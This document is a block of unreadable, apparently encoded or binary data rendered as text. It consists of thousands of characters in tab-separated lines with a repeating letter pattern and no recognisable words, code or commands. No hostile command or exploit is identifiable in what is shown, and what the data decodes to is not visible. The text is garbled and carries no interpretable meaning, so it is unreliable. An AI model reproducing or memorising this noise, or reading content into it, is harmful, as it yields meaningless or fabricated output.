ZQ73jWa	A@VS3'W3_P[[O nXU~WR	Uh]}Qg3RgQd	ZZOhWM	PgMV4SD;Q0U_0[P4 z6XU\W&RUh]CQRQ5	Zek@W`	k>AVSnD0"_5[S@ `D1XUbW RUk]8Q7RQN	:ZQl3hWM	]:uV4SD;Q0U_0[P5 %36XUHW&RUh]}QRgQR	ZZOTWU	A}VS3'W3_P[W_ uXUnWRUQ]8Qd RQV	%ZOP34WW	6:}VSH?40`_@[[B 5l7XUTWRUk]DQg3RfQh	eZMR;hW`	COV5SD<v6m2_}[cO 90X9UTW&RUj]eQ3RgQR	)ZU_0|WO	]:_V4SD;r2_l[Rl =DXUPWRUl][QRQZ	 ZT5#JWa	4 ~V3SXD1z_l[Rl 2zXU3WR U6][Q7RQd	&ZY6;GWW	]>VVSGOV>_r[J5 n7XUbW.R7UN]LQfRQB	ZbiBWg	k:sV3SFr j_w[LR 531X>UDWfR2UB]aQ'1RgQd	)ZY4?hWU	C }VST;1W2_4[Rl 9LX:UvWRUA]8QRQI	$ZSA;GWW	Rc}VSn;BX_r[e7 537XU?W&R
Ul]aQRQt	?ZO_?6Wa	2]VSV56m=_q[T_ D1X?U7W&RUm]KQ7RQt	ZU_IWc	6:}V3SD4 2=_P[WR 9LX.UbWRUP]KQcRQg	$ZU_?IWW	4}VS2#413_4[dR 5lXUTW-R7U^]CQRQV	%ZZO5WQ	R.MVSn'1331_@[ci n1XULWR7UN]OQd RgQR	$ZT5#JW`	i oVSjHE_p[ci n1XULWR7UN]OQd RgQR	$ZT5#lWM	PgMVS247E!_Q[T_ O5XgUjW.R7UB][Qb RfQh	ZN6;GWW	]>CV6SGk1z_l[O5 RXULWfR U7]@Q.0RQZ	gZaPfjWO	R.@VS38v10:_r[[O 9MXdUTWRUR]OQRQF	Ze@#5WM	]2OV6SH;r0W=_G[TP `D1XUbW RUk]8Q7RQN	
ZVR;hWW	h.3VSTs7D_3[cO h5XfU~W.R7UP]CQ$ RfQR	!ZV_5WM	R:OV6SGqV_[WR 9NXgUvWRUA]uQ0RQh	ZbOhW`	BcuVSkj0W=_3[LO lXUjW`R7U6]GQ<1RfQZ	fZQj#jWL	Q3V3S2c2U_W[dB 5l7XUvW&R2UA]uQ'1RdQt	:ZMB?hWa	M2}V3SH0F_O[LO DXUHW&RUh]@QbRgQV	ZQR3hW[	k:}VSlD6m2_4[Pl =DXUTWR0U^]aQRQZ	eZVl35Wc	4 uVS220U_\[WR 2zXUTW.R	Uh]OQd0RQg	+ZbB;hW[	k2NVSmjX_}[dP "z6XUvWRU5]LQ/ R.QN	
ZbO}WM	R}VSkW7H1_F[[B 537XU?W&RUh]@QbRgQV	ZQiIWW	sVSn?q0W2_}[cO 90X9UTWR7UN]OQ=RQh	ZZ@3HWL	Bc}VSn;BX_r[e7 537XU?W&R
Ul]aQRQt	?ZY40|WL	R.MVSlW 3_P[[@ 5NXULWRUk]9QdRQF	Ze@#5WM	]2OV6SG#V z_\[cO 2XUPW<RUl]OQRQF	ZeO?hWg	PkV STD0U_1[e5 `D6X8U@WRUR]LQ%RQB	ZT@#BWg	AuVSmj1l_s[Tj 5NXUTW`RUP]CQ;RQB	)ZVPFWO	@>VV6SG#V13_@[cj `NXULW<R7U7]eQbReQl	?ZN4?hWa	R&NV3S2bD0_r[RA A6XULWRUN]@Qc6R8Ql	?ZK4?6WL	Bc5VS1I7G_r[R_ 27XdUTW`R	UN]eQb1RdQZ	:ZVjKWS	i5V SWs7H1_p[O6 =AXUnWRUk]4Q7RQ1	 ZMR3TWW	5&OVSnO10e_r[e_ lXUTWR7U4]XQ%7RQd	&ZN6;GWW	]>VV6SG/1V_@[cj `NXUjWRUA]8QRdQI	$ZSAGW`	k>uV3SD;2F_\[WP 5N7X UbW`R	Uk]9QcRdQx	&ZN4?hW`	h&NV3S2bD0_r[RA A6X:UnWRUk]4Q7RQ1	 ZY4HWL	A>MVSDj1n_\[WR 535XeU\W;R7U7]eQ R9QJ	9ZQlJWL	BoVSkVU"_5[[O 2XUPWR7UA]yQ 3RQd	
ZVRlW[	4@VSjj1_0[X4 NXUTWRUA]CQaRQR	&ZeABWO	M&VVSGb50`_Q[cB 5O1X9U~WfR2UA]<QRQB	
ZeP_WO	A:kV SXWU!_o[dk F6X:UnWR2UA]yQ 1RgQV	ZbiHWO	CAV SWt6k-_F[NR HX UbW`R	Uk]8Q&RQd	&ZRA3FWO	@>VVSWb5E_s[T_ 9MX9UHWfRUB]\QcRQw	cZZO4WU	C OV3SG#V3H1_\[WR jXdULWRUl]_Q<RQp	ZVl;HWL	B~V3SV?W 3_w[Wj 90XUPWR
Uk]CQ R?Q4	cZZ@3TWM	R5VSDjE-_o[dk F6X:UnWRUl]OQaRQR	&ZeBGWO	@>VVSW/BF_[NO yX9UHW:R7U^]CQRQI	$ZSABWO	M&VVSDV1j_l[`P %RXdULWfR U7]CQ$ RfQR	'Zek5W[	h}VSmW33_@[[B :yXfU~W`R7U4]zQdRQF	Ze@#5WM	]2OV6SH;r0W=_G[TP `D1XUbW RUk]8Q7RQN	
ZVR;hWW	h.3VSTs7D_O[Wi 3XULW.R7UA]GQ1RgQd	ZbQ?JWa	4 NVSG7E_p[ci 3XU\WR0UB]aQ"6R?QZ	?ZO_WU	M2uVSm/2F_\[P6  tX?U3W=R1Uk]GQ3RQd	ZcR rWg	hJVSGin_0[Ul &tXUTW`RUR]OQ'7RQc	gZZB?HW[	6&VVSGbt1z_0[UP 5lX U\W RUl]aQ1RdQt	gZbOWP	S3V3S1?42_F[[@ %HXULWR Uk][Q RQx	?ZMRTWa	23VSn4 2=_G[LR 9RXUjWRUA]CQ"0RQo	+ZdPfBWg	h.1VSl?E32_l[Rl 2zXU~WR0UC]GQ<RQJ	eZWBbrWg	hJV3SDh3_\[UA  zXUDWR1Uh]OQ/RQJ	gZeR<rWL	CnV6SDyn_i[Tj D1XUnWfR7UC]aQRQh	ZSlPWa	]2RVSl4T_r[Tj h6XUHWRUk]<Q0RQ1	gZU@lW`	CRVSl3 X_r[Oj %tX?U~WRUQ]<QdR9QJ	
ZSl/}WO	RRVSE;un_S[Uk 9v7XUDWR0U^]jQeRQR	
ZcB3}WO	S nV6SF7V_4[L7 N5XfULW;R0UR]KQ/RQx	!ZSArWc	5.hV3SG#oG-_S[e7 V1XUnWR	Uh]eQRQx	ZcQ3NWU	CHVSnJ X_\[U7 )p1XUvW&RUP]\Q-RQR	eZQj}W`	AJV5SmnUd_0[[j 9v5XgUDWR0U^]bQfR8QR	:Za73_W`	nVSn;JWa_4[L5 ayXUHWRUB][QRQR	!ZeB}Wa	C:JVSHoG`_w[Ll D6XUnWRUP]CQ=R9Q5	eZbQ35WW	nuVSHP 2`_1[OO tXUnWRUC]\Q/RQR	
ZU@?}WT	Q1VSn'n X_v[[l d3XUHWbR
Uk]yQR8QR	
ZS@vWa	QEV5SE;NGa_0[T4 zX8UDWRUN]eQ"RQR	 ZZlrWa	ChVSH;7V_4[Oj DXU\WRUP]CQRQh	ZU6?hWW	nchV5SH7 3_l[Vl =t5XgUvWR Uh]aQR:QQ	+ZVllWT	RuVSD;U2-_v[PQ  t7XUHWR1UA]~Qf0R QA	fZeQ?5WU	C:EV5SH'sV_0[`@ 93XUHWR1Ul][Q>RQB	$ZaBvW[	isVSFXG_i[UP 9t1X9UHWR7UN]OQRQh	ZUBhWM	]hV3SF7 T_l[`l 2t7XU@W&RUN]eQR9QJ	ZTQ?}WT	RHV5Sl?nn_4[eA Y7XUrWRUN]OQ7R:QF	fZeP$rWL	] ^VS1BW_@[Tj ay1X:U@WR Uk]GQ#R?Qt	ZYk3pWa	MoVSk;m3z_4[PP vXU\WR1Uh]}Q:RQx	eZWRHWW	6uVSHB6j_l[Ul {1XUvWR2UC][QRQZ	fZY5rWg	hHVSHUE%_Q[T6 {5XfU\WR0U^]KQ RQJ	eZeB3rW[	h:hV SVPj_1[VB 31XUDWR0UA]GQ/R?Qt	)ZNB0rWa	BOV4SH;7E-_l[Tj H7XULWR1Ul]aQRQZ	gZaO_WU	MJVSG#NG`_1[Uk 5t1XUvWRUh]bQ-RQ5	ZUP#}WT	R^V6SF?Un_r[[R )p7XUvW;R1U@]_Q6R:QB	eZYQPWg	BcEVSF01G-_S[VB )3XULWfRU@][Q8R?Qp	+ZNRlWc	5oAV4SXsG=_3[`B N6X.UTWR0U@]CQ<RQx	ZaA3pWO	R2sV6SFt33_1[UB {7XULWR
Uk]uQ$RQZ	ZU@PWM	RnV6SH'hk-_\[SR )V7XUnWRU^]aQR9Qx	gZdj$rWc	7cEVSG/OG_3[X7 )v6XULWfR1UA]GQRQR	ZUBlW[	nc5VSF?7G`_S[cP pXUnW&R1UA]4Q3RQR	$ZU7b_Wg	R uV3SE;iH_\[Oi !{7XUvWR	Uj]eQ?RQZ	fZa@?}WO	SnV5SG/UF9_r[Sj 9p7XU@W&R0UA]yQ/RQR	!ZblPWc	72EVSWo1G_S[`B jXfULW=RUA]uQRQR	$ZSi'}Wa	PgHV5SF?LG`_p[Tl VX9UvWR
Uh]OQ:RQQ	+ZU63pWg	@.nVSnh2-_@[Tl dpXUvWRUA][QRQR	fZYk?}WO	SoVSEnUE-_r[cP t7X U@W.R
Uk]<Q1R.QB	!Zej$rWa	PgnV3SE<{H_V[X6 DX8UDWR	UN]aQRQJ	$ZTR<rWg	C}VSl?T V_w[WR j5XdU7WR0UR][Q<RQR	 ZYk3jWW	n.HVSnPm`_r[bP j1XUrWRUB][QR9Qh	ZN@pWO	CoVSmn 0-_Q[T6 9{7XU3WR0U^]LQfRQJ	ZWAPWa	A nVSmnBD_w[`@ ayXUDW=R0UR]KQR9Q5	!Zdj$rWa	SAVSmHW_q[UP jXUDWR0UR]KQRQR	 ZbPHW`	@cHV4SHvT_i[Ti !{XU\WR1Ul]HQeR9Qh	 ZZBlWW	4>EVSn?hH_U[bP Y7XUnW<R0UA]yQRQR	!ZQRlWT	QEVSE<{m_w[[B )pXgU@WR Uj]eQRQh	 Zbl/pWU	CnV5SH;7W_w[`7 VXU@W=RU@]eQRQZ	:ZaBKWU	BHV4SW#v3_3[Ol VX?UrWRU^]OQR9QJ	ZeBvWQ	QsVSVU W-_w[W@ zX:UnWRUN]OQR8QR	$ZWA?pWc	5oEVSlPD_}[Tj DXU7WR0U^]eQ0R QN	ZUOrWX	Pg1V4SV?TUd_@[`l VXUnW;R0U@]eQ7R:QB	!ZaA3pWa	BnVSHUW_w[U7 )VXU7W=R1UN]OQ&RQx	fZbkvWU	B}VS0;PD_w[cj Y7XUDW&R0U^]OQRQR	fZbP$rWL	RnVSllD_O[T7 lXUHWRU7]eQRQF	$Zel<}W[	i&_V4SG#TE%_v[T5 3XULWRUN]}Q<3RfQY	fZU635WV	5nVSk;U1z_w[OP 9VXU\W=R7UN]bQ-RQx	
ZellWa	BhV6SGU2`_1[Xj j7XUnWfR0UA]GQ0R QB	 ZbQlWX	QhV4SH'NG`_0[VA 9DXUDWR1UA]GQ/RQF	!ZYRblW[	i&nVSHuF_}[O@ jXUrWR0UN]aQ8R9Qh	 ZaA|WU	MRVSG#3X_r[R6 9V1XU\WRUB][QRQt	ZMBlWQ	R>sVS3;y 2=_0[cP 9t7XULWR0U^]OQRQB	ZZP$rWO	QnV5Sl?VG`_0[[k 9vXUjWR1Uh]OQ RQZ	ZQk3vW[	nsVSH?uG=_3[e7 N1X?UnW=R0UN]}Q:R?Qx	$ZU6?rW`	CRVSG#v3G`_r[Ol p1X9UnWR
Uk]DQg3RQt	ZY5rWa	CEV3ST;P Ud_\[bP O7X.UTWRUN]OQ/R9Qx	fZVAHWU	B>nVSFUG-_O[T7 N1XUnWRUA]GQ/3RQB	!ZWA3}Wg	ChV5SH?tT_\[TR vXUHW&R0US]4Q:RQp	gZU5HWg	R JV5SHi 2_P[Pi t1X9U@WRUN]eQRQR	eZbk5WU	CJV5Sknh6j_V[`B )M7X UPWbR0UA]yQ<6R>QB	$Zcl<|Wg	k EVSH'JH_r[L7 vXUnWR1Uk]uQ9RQx	$ZbjrWg	B>RVSH3 W_v[eR N7XU3W=R
Uh]aQR9Qh	
ZYjpW[	n hVSk;X7n_0[c_ t1XUrWRUA]yQRQp	gZZA?}Wg	BJVSn'h 1_l[T7 )v7XUDW-RUQ]GQRQR	
Za@pWT	RnV5SH032-_C[Tj 9VXUHWRU^]aQ;RQR	$ZYQ}WS	SMVSH7n_\[T6 9nXU@W;R0UA]yQR9Q5	ZU6?lWc	5HV4SHi3G-_w[[j {5XeUjW=R1Uk]yQ%RQ1	gZeA?lWW	SAVSk;hG_v[T@ hXU3W.R1Uh]LQ-RQx	
ZYl3}WT	REVSG#UW_1[`A 9NXUHWR1Uj][QR?Q1	$ZaB3vWP	@HV5SE;PV_}[Wl h1XUnWR	Uk]GQRQh	eZU6?nWW	7gsVSnvT_q[e6 V5XfUnW&RUN]eQ"R:QR	 ZWA?rW`	SRV3SG#PG-_w[Uj `hX UDW=R0U^]eQRQR	
ZbA?pW[	iEVSk;vn_r[[B )l6XULWRUA]uQR:QR	ZU7}Wa	M^V5SH?oT_4[X5 lX9UHW=R1UN]}Q8RQh	!Za@$|WQ	ShVSnJl_}[e7 :{XdU\W&RUN]jQ/R?Qp	eZeB rWU	BuVSm/Pm-_r[T7 )3X9UrW R1Uh]KQdR9Qx	:ZdllW[	ncnVSk;VH_v[L6 VXU7W=RU^]eQRQJ	$ZZj?pWX	SJVSF?lGa_4[V@ lX9UrWR2UN]OQ<RQ5	ZYkBWQ	]hV6SFH6n_w[cR =n5XdU@W=R1UA]uQRQR	ZcBb}WU	CJV5SFy U%_0[T5 p5XfU3WRU@]eQ7R9QJ	fZYj$}Wc	EVSGfRj_v[T7 )pX9UnWR Uj]CQ:R?Qx	$ZZk?pWP	]2JVSGo U-_r[U@ j1X9ULWR1UA]yQ3RdQt	ZU63IWg	SnV6SFH 2`_r[R7 :t7XUTW=R1Uk]GQRQx	$ZZk}WQ	R>nVSm/u W-_w[Sl hXUHW;R0U^]jQgRQR	
ZTAHW`	@gEVSF?P3H_v[VO !OXUnWR2UC]4Q:0RQR	$ZU70}Wc	4HVSF?n W_1[PR p1XUnWR1UA]GQ<RQB	ZUA0}Wc	7cJV5SG#v 2`_r[`@ 9V1XUnWRUB]HQfR?Qx	ZYQ}Wc	7EV5Sl?UE!_Q[Ul dOXU@W;R0UA]GQ=RQB	!ZdRHW`	C&nV3SH;5V_1[[@ az1X8UHWRUP]CQRQZ	ZUBbrW`	PgOVSD;yH_\[TR p5XdUvWR
Uj]eQ83RQR	ZU7PWc	7nV6SE;hm-_l[Xi !{X?U\W&RU^]OQ"3RQB	!ZSApWQ	S>^V5SG#P W_3[bQ 9{5XfU@WR1UA]GQ0R QB	$ZdQPWa	QnVSn'hH_S[`B d31XUnW=RUQ]uQg3RQl	$Za4rWa	CsVSH;73z_4[Tk 9Y7XULWRUB]OQ3RdQt	 Zc_vWg	BgnVSXnX_r[b@ pXUnWRUB][QR9Q5	'ZQk?pWg	h>^VSn'[ W_v[b@ 9v6XULW=RUQ]GQ1R.QB	gZYj$|WU	CEVSn<1n_r[Tl d3 XeUHWR1Uk]GQR>QJ	 ZZipWa	SnV5SH'sm-_P[e5 9OXULW=RU@]eQ<RQJ	fZUA3pW`	MRVSX00T_r[[j p1XUrWRU@]jQ R?Qp	$ZVk?5Wa	CEVSk;n6l_v[bP nX?U3WR1Uh]eQRQJ	gZdQBWU	@EV5Snl33_\[X6 9LXUHW=RU@]CQ;RQR	Zej?lWT	@ghV5SH'uT_1[Wl V5XfUHWR1Um]fQ-RQR	fZYl3PWc	7>RVSk0 W_w[[B 2t7XU@WRUh]}QRQx	eZU6rWa	AEV3SHn W=_O[[6 9j5XfU3WfR0U^]eQ80R QB	$ZW@vW`	iEVSHnm_\[V@ VXULW;R	Uh]}QR:QB	$ZWB/vWg	P5V4SH?mT_w[WB HX UTWR0UR]aQ=RQx	eZYl3IWQ	SJVSE;P33_l[Ul )VXUnWR0UP][QbR9Qx	!ZY5#5W[	h>hVSH;UT_3[[Q 6t7XU@W.R0US]KQ R.QB	$ZaBjWU	M>^VSj13H_v[V@ pX8UHWR2U@]GQ3RQZ	ZYPflWc	7HVSG#Um`_w[PR M6X.UDWRU@]eQ8 RQJ	ZYjrW[	inVSXt33_r[L6 5tXUTW=R1Uj][QRQR	ZM7lWg	B^V3SDU U_Q[UA nX9UnWR1UC]_QRQx	ZcB<rWa	B EVSH;XG_1[V@ D1X8UHWR0UP][Q#R8QR	+ZMR;vW`	]2JVSG#NF_1[Wj 36XUrWR0UA]8QRQx	eZUApWc	5cuVS0<v0V_1[VP lXUnWR0UP]\Q-RQJ	!ZWBbrW[	iJV6SH'h U-_l[U@ DXUDW.R1Uh]OQ/3RgQB	gZRP$rWL	RnV6SEovm-_3[`@ N1XUnW&RUm]4QRQx	$ZSlpWa	P5VSVuV_1[`@ H1XUDWRU@]GQ83RfQZ	$ZU@|WQ	SuVSHs6l_}[Pi !jX:U\WRUP]_Q R9QJ	)ZQl/rWU	ARVSH?uk-_l[Uk OXU\WR1Uh]jQe3RQR	
ZS6?pWL	M2nV6SE1W=_r[T7 pXULWR	UN]}Q/3RQJ	!ZSOrWc	7}VSm#tm-_v[bl VX UTWR0UQ]GQRQR	ZcR5WM	SnV5Sm#tn_\[U7 =t1XUrWR
Uk]yQ RQR	
ZQjrWg	C>JV5SE;nG_O[[l {5XfU\WRUC][Q R.QB	:ZRRHWa	C:nVSl?OW-_w[T5 %t7XUHWR U5]aQRQh	 ZSB3PWa	MEVSH4G`_l[TR N1XU@WRUQ]yQ:R9Q5	gZbR|WW	nEVSE;P3z_1[Oi !{XUvWRUA]uQbRQR	!Zbj?rW[	o1VSj;n V_l[[l )DXUDW&R0UA]yQ<RQR	
ZVBlWg	BEV5SH?kG-_\[L7 =tXUDWRUQ]uQ"RQh	 ZZiPWa	B>JVSH;4V_}[b@ N7XU\WRU^]fQ-RQR	
ZU7bIWU	@chV5SniG-_l[U6 9p5XgUPWRUA]uQR:QR	ZWBlW`	BsVS3U U%_Q[PP zXUDW=R
Uk]<QdRQQ	fZeBjWU	C&EV5SGsW=_q[Tj 9DXUHWRUA]yQ>RQB	$ZYjflW[	hguVSFT3z_r[T@ 9tX?UnWR1Uh]OQRQx	:ZUBPW[	kEVSHiT_l[U6 V7XULWRUN]eQR9QJ	ZWA?rWU	BHV5SGnk-_r[e@ %j5XfUrWRUN]OQ6R>QB	fZYP$rWL	P>^V SX0{V_}[[j ayXU@W&RU5]aQ#R>QF	$ZaB;}Wa	MnV5SE;sT_4[Sj vXUTWR1Um]aQ8RQp	
ZWRPW`	M^VSmfR1z_l[Ui t1XUrWRUj]eQdRQZ	ZN@rWP	CHV5SF?UEd_Q[T5 %N7XUDW=R0U^]KQ3RQx	eZaA?vWc	7:hV SVij_0[VB N6XUDWR1UA]uQ/0RQJ	+ZNP#pWa	M^V5SH;430d_\[bP H1XUnWR1UN]jQ-RQ5	!ZaONWg	]nVSlX7l_1[Ul j1XU~WRUj]eQRQ5	$ZYP#rWT	R^VSj;Um`_l[[P %hXUvW=R0U@]_QRQJ	eZbR<rWg	M2EVSF?3G-_S[[B )p1XULWR U7]eQ80RQx	+ZNRlWc	71V4SXlT_3[OR N1X8UHWR	Uh]OQ<RQx	ZaBPWa	B2JVSltl_1[Sj "t7XU@WR0U@][Q'RQx	%ZUjlWa	BnVSH'hj_U[SP 9v7XUnWbRU^]aQ6R:QB	gZU7PWc	4 EVSm1H_r[[l )h6XULWR2UN]}Q0RQ5	$ZUBbvW[	nc}VSF?T V_S[SP pXU@W&R7U@]eQ83RQx	:ZU6?hWM	R JV3SE;iX_G[e7 :t7XUvW=R7U@]jQfRQZ	ZS@?rW`	AnV5Sm#UD_0[Sl d3XU@WfR1UA]yQ:R8QR	!Zc@pWc	72EVSWo1F_}[Tl V1X9ULWRUN]OQR9Q5	$Zbj}Wa	A_V4SF?h V_S[U7 VX8UHWR2UN]OQ:RQh	fZU7pWL	P.nVSW#nG-_@[Pi tXUjWRUN]OQ8RQR	ZeA?}WO	SoV6SH'UG-_S[cP `37X.UDWRUQ]<Q3RQR	!ZdP$rWa	QnV3SDvH_v[X6 35XeUDW=RUP][QR9QJ	$ZMApWg	M_VSl?om`_l[Wl jXUnWR0UR]XQ-RQZ	 ZYlrWg	@.nV5SnU W`_r[[l j1XUPWRUB][QR9Qh	 ZM@vWQ	R>oVSH?n6n_}[T7 v7XU3WfR1Uh]KQd RQB	ZdRPWa	AnVSn?sD_\[[j %tXUDW=RUP]CQ3RQx	$Za4'pWa	]2RV5SGuG_l[R@ jXULWR0UA]~Q-RQx	:ZbPHW[	nchVSnl3G`_i[Tl VXU@WR0UR][QR9Qh	 ZeBjWg	C>EVSk;hD_v[bP t5XdUnWR
Uk]yQ> RQh	!ZZ73rW`	M>EVSE;Un_}[[B )p1XU@WR
Uh]OQR9Qx	!ZbkPWU	C&hV5SH;nG_w[Xl VX9UHW=RUQ]zQ-RQ4	bZaA?pW`	BHV4SG#ln_C[Pi !{X:UDWRUN]OQ R9QJ	eZZBvWU	C>sVSX?UT_0[W@ `N7XUnW RUN]OQ:R8QR	$ZW@pWT	@gEVSH3D_s[Tj vXU7WRUj]GQRQB	$ZU5}Wg	A1V4SV?7U-_v[bR VXUHW;R0UN]eQ7R:QF	 ZaBvWa	BRV5SnPm-_w[Vl VXU\WR0UN]eQRQx	$ZZk5Wa	C>MV4SG#PD_1[ck lX:UDWR1Uh]OQ> RQF	fZbQPWO	PonVSERD_l[[B h1XUHWR7U@]GQRQx	$ZY_vW[	no^V5SG#0 U-_v[Vj 31XUnWRUC]aQ0R QF	$ZU7rWa	@nVSk;P1z_q[Pl :tXU@WR7U@]eQRQx	!ZWBlWQ	R>hVSn?U V_4[Xj 9t7XULW-RUQ]GQ#0R QB	 ZaAlWa	QhV4SG#3G`_U[T6 9p1X8UDWRUB]KQ/R8Ql	$ZelvW[	nohVSHhT_}[Lj j1X>UHWR0UA]yQ=R:QR	$Za@?}WL	]hVSHsF_r[bP {1XUDWRUB]XQ-RQl	$ZWBlWQ	RuV4STy 0-_l[cP hXUnWRUN]OQ:1RgQB	ZdkPWL	S&nV5Sk;XG`_w[`A 9v XeUjWR1UA]GQ RQZ	ZQi'lW[	n^VSH?s3z_G[Wl DXULW=R0UN]eQ:R:QQ	+ZU6?pWO	SJVSll6j_}[e6 p1X?U\WR
Uk]yQe3RQl	ZYPrWU	BEVSmP2-_v[bP %V7X UPW.RUN]OQRgQB	fZeP#KWU	MnVSn5Ga_}[L7 3X9UnWfR
Uk]uQ/3RQx	$ZTjgrWg	@.JV5SH?TE_\[cR vXUHW&R0UA]yQ=RQx	ZU5HWW	7 JV3SE;7G_P[Pj j1X9ULWRUN]eQRQR	
ZdkpWU	BJV3SHh 3_1[`A j6X UPWR1UA]yQ6RQF	$ZUAjWg	h"EVSH'VH_0[T7 37XUnWR2UC]aQ9RQR	!ZbipWg	CEVSHs W_v[dB N7XUnW=RUB]aQR9QJ	ZYj?hWV	5 hV6SE;XH_0[Xi t1XUDWRUA]yQRQR	ZWA?}W[	hJV5SGh 3_r[T5 V7XUDW.R1UA]GQR8QR	
Za7PWT	S nV5SG#k32-_O[X5 9j1X8UHWR
Uh]OQ;RQ5	$ZY_PWS	SoV4SXn 2_\[bA 9nXUHW;R0UA]uQ<R9QR	!ZU60WU	@hVSk;iD_w[bR 2t5XfU\W=R1Uk]yQ8RQ1	%ZNA?PWU	B>AVSH'hm_O[T@ v7XU3WRUN]LQ-RgQB	
ZeR3}WT	R&EVSGgvW_p[Tk 9D1X8UHWR
Uj][QR>QJ	 ZaA3vWP	M2JV5SE;[V_r[e7 hX UDWR0UN]eQRQh	eZU6?lWg	BgRVSHvD_q[Ti t5XgUPW&RUN]eQR:QR	Zak?rW[	hRVSGPE%_l[Uj %j7XUDWR0U^]eQR:QR	
ZSk?pWc	4 EVSm#Xn_l[VB )j7XULWRUA]uQ3RQR	ZUA?}Wa	MoVSn?G3z_4[`@ lX U@W=R1Ul]KQ=RQR	:Za@$|Wg	ihVSnJF_}[UR 2{XfU7WRUN]eQ8R?Qp	ZM7 rW`	iuV4SFPn_3[T6 j5XfUrWRUN]KQ3RQx	:ZZ6lW[	hcnVSn;JH_S[VA NXU7W=RU^]eQ3RQh	ZZl/pWX	]21V4SV?vGa_4[Sj lX:UnWR2UN]LQ-RQR	$ZYjrWO	]nV3SFH6n_w[`O n5XfU3W=R1UA]uQ;RQR	
ZTRb}Wc	4JV3SD;y W2_0[T5 `V5XfU3WRU@]eQ<RgQB	fZdllW[	oEVSE0j_U[L7 )3X9UnWRUm]aQ:R?Qx	$ZZkrWP	PoV4SWU 19_s[Tj jXUHWR1UC]aQ0RQ1	ZU63lWT	SRVSW#H6n_r[R4 t7XUnW=R1Uj]_QRQx	$ZY6}W`	BnVSH'u T_0[Sl hXUDWfR0U^]jQgR QB	
ZeP#KW`	M EVSH03H_l[T4 !t1X9UnWRUB]KQ:0RQR	ZU@#lWc	5oRVSF?s 3_1[`R pXULWR1U@]eQ<RQZ	$ZUA?hWg	RcnVSlv6l_r[`A V1XUjWRUB]KQ%R?Qx	ZMQ}WT	REV5SF?Ul9_v[Ul lXU@WRUQ]GQ6RgQB	!ZV@NW`	MnV3SHvV_1[T5 `M1XUHWRUA]uQ0RQZ	ZU@vW`	]2hVSD;vH_\[Vl p1XUvWR
Uh]OQ83RQh	 ZU7lWT	RJVSHhm-_l[Xi !{X9UnWRU^]OQ3RQB	ZMQpWM	R^V5SjP X_}[bQ 9V5XfU@WR
Uk]GQ0R QB	$ZeP$rWg	BcnVSl0{H_v[X7 d3XUnW=R0UP][Qg3RQx	$Za4'PWa	MAV4SX;i3z_4[cQ 9Y7XUvWR2UA]GQ:3RdQt	:ZcR3BWU	BgnVSXn3H_r[b@ 9pXUrWRUB][QbR9Q5	
ZZA?pWQ	R>^V5SF[ W=_U[b@ 9H7XULW R
Uk]GQ R.QB	gZYl<|WU	CEVSmcyn_r[`B dp1X8UHWRUm]aQ3RQx	$ZcB3}Wa	S}V4SH'Cm-_w[[j 9YXfU\W=RUA]GQRQR	:ZUA3}Wa	MsV5SH033_r[bR )p1XUTWRU@]eQR?Qp	$ZSk?5Wg	AEV5Sk;n 2_r[bP 9lX8UnWbR1Uh]eQRQx	gZWB<WU	BEV5Sl?k33_3[X6 9j7XUHW=RU@]CQ;3RQB	$Zel0}WT	CJV5SH'uV_1[e7 VX9UHWR1Uj]eQ<RQx	eZYiNW`	B>nVSk0 T_w[TR dV7XUDW&RUh]}QRQZ	ZU6rWQ	REV5SE;n X_r[[7 lX9U3W;R1Uh]eQ83RQR	$ZdBlW`	BEVSHim_0[T5 VXULW=RUA]uQR:QB	$ZW@#rWg	RhV5SH?mF_w[WB H1XU7WR0UP]eQ:RQ5	gZYl3PW[	iJV3SE;UD_l[Sl VXUnWR0UQ]9QgR9Qx	fZYP#vWa	B>hVSl?UW_r[[Q 9{7XU@W.R0US]KQRQR	$Za@5WS	S^VSj03H_l[L5 vXUHWR U7]CQ3RQZ	ZYQ}Wc	65VSG#[m`_w[`B M7XUrWR
Uj][Q8 RQx	
ZYjrWa	CnVSXJ T_}[e5 %tXUPWR0UP][QRQR	ZTRPWL	C^VSmU V9_l[U@ M7XUnWRUS]_QR9Qx	ZQR<rWa	MEVSFvG_r[V@ l1X8UHWR1UN]eQ#RQB	+ZMBlW`	SnVSG#nV_1[VP 36XUrWR0U@]eQ=RQx	!ZUANWa	@cRV5Snvm`_1[TB )3XUvWR1Uk]yQRQJ	!ZWBbrWg	S>JVSGh W_S[U@ lXUDW.R1Uh]OQ/3RQx	gZUBPWL	SnV6SFvm-_3[`@ NX9UnW&RU^]OQ3RQR	$ZSiPWa	]25VSVuV_1[Xj HXeUnWRU@]eQ:3RgQB	:ZU@vWa	CnVSW#sT_}[Tj 9pX9UbWR
Uk]GQ"R9QJ	fZZB/rWc	RVSGum-_S[Ul et7XU\WR0UQ][QRQR	
ZSB3}WL	SnV6SDsW_r[VB NXULWRUA]GQ/R8Ql	$ZS@?vWc	7gMVSm#XG-_v[SR V1X?U7WR0U@]CQ<RQ5	:ZcRBWQ	SRV5Sm#tV_\[Vl =t1XUnWR
Uk]yQ RQR	ZNPrWM	RJV5SGnG_U[[l )H7XU\WRUC][Q RQF	:ZU7HWa	@nVSnUW-_w[T5 %OXeUHWR Uk]GQR?Qx	$ZSB3PWa	MhVSHF 3_w[Vl N7XU\WRU^]CQR9Qx	ZbRBWg	P^V6SE;Un_1[OA VXUvWRUQ]uQ#RQR	!Zbj?hWa	B1VSmn W_r[[k 3XUDWR1UA]yQ1R.QB	
ZV@vWg	BcEV5SE;HG-_3[[B =t5XeUDWRUQ]uQ"3RQ5	!Zc@rWa	B>HVSH;XT_}[Xj N1XU\WRUQ]GQRQR	
ZU7b_W`	@cHV5SHi3H_l[`l 5t5XgUjWRUA]9Q/R:QR	ZTRlW`	C>sVSDU W_U[PP zXUDWR
